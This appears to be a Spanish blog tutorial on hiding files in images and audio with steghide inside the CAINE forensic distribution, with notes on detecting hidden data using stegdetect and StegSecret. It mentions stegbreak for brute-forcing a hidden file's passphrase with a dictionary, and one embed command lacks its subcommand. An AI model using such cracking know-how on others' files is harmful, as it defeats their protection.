Cuando ya sabemos qué puede contener sólo nos queda abrirnos una consola y ejecutar steghide para sacar datos más concretos, en el caso que el fichero oculto no estuviese cifrado. Si tuviese una password, todavía podemos intentar averigurarla con stegbreak, un software que también está incluido en la distribución C.A.IN.E con el que podremos pasarle un diccionario para hallar la contraseña por fuerza bruta.
Si queremos profundizar un poco más en los escaneos a ficheros .jpeg debemos revisar el manual de stegdetect, donde podremos encontrar los distintos tipos de test que le podemos pasar a nuestra imagen.

stegdetect_manual_tests

Hay proyectos españoles de estegoanálisis como StegSecret, el cual engloba características tan interesantes como poder analizar BMP y GIF además de jpeg, la implementación de algoritmos que detectan información ocultada con técnicas LSB en píxeles elegidos de forma secuencial y/o pseudoaletoria (chi-square, rs-attack, etc), ocultación en coeficientes DCTs en JPEG, en paleta de ficheros GIF, ocultación en ADS, ocultación en fragmentación interna, ocultación en lenguajes interpretados (HTML, XML, etc). Podemos echar un vistazo a su página web .


  • 0

Esteganografía: Ocultar ficheros con steghide.

Podemos ocultar ficheros dentro de otros ficheros “portada” de mil formas distintas. Para este post usaremos una distribucion GNU/Linux llama C.A.I.N.E, contiene una suite bastante completa de aplicaciones destinadas al campo de Informática Forense. Dentro de esta distribución podremos encontrar integrado el steghide.

Imagen_caine

Steghide  es un programa de estenografía que permite ocultar datos en varios tipos de imagen y archivos de  audio. Sus características incluyen el compactado y el encriptado de los datos adjuntos, y revisión automática de integridad usando  un  checksum. Se reconocen los formatos de archivo JPEG, BMP, WAV y AU para usar como archivos de portada. No existen  restricciones en el formato de los datos ocultos.

Cuando nos referimos a usar archivos de portada, queremos decir que de por sí el archivo contenedor de nuestro archivo secreto se va a poder abrir y mostrar un contenido además de almacenar nuestro archivo dentro. En cuanto al número de archivos de portada nos permiten sólo JPEG, BMP, WAV y AU, dependiendo del tamaño del archivo que queramos esconder, elegiremos uno u otro.
Sobre esconder los archivos sin que el archivo “stego” tenga portada, steghide puede con cualquier formato de archivo.

Ejemplos de steghide:

Ejemplo de comando para extraer.
$ steghide extract -sf imagen.jpg

Este comando incluye dentro de pepito.jpg el fichero secreto.txt
$ steghide embed -cf pepito.jpg -ef secret.txt

Ahora necesitamos imagenes en jpg, o algún archivo donde ocultar algo, para ello ejecutamos el siguiente comando:
find / -name *.jpg
o también nos vamos directamente al directorio de background:
/usr/share/backgrounds/

Ocultamos un fichero.txt dentro de una imagen jpg con el siguiente comando:

steghide -cf  <nombre_archivo_cobertura> -ef <nombre_archivo_a_ocultar>

Cuando lo ejecutemos nos pedirá introducir un password (salvoconducto):

Ocultando_con_steghide

Para saber la información del archivo ejecutamos el siguiente comando:

$ steghide info archivo.jpg

Si introducimos una contraseña incorrecta no nos devolverá ninguna información del archivo oculto. Ahora vamos a ver qué información nos brinda steghide sobre el fichero que acabamos de crear, para ello usamos el siguiente comando:

steghide info <nombre_archivo.bla>

Y nos da la siguiente información:

Steghide_info_jpg

En resumidas cuentas, con este software podemos enviar información a salvo, para añadirle un grado más de seguridad se recomienda cifrar el contenido del fichero embebido, así si por alguna remota casualidad lo descubre el enemigo, todavía tendrán que desencriptarlo.

Un Saludo!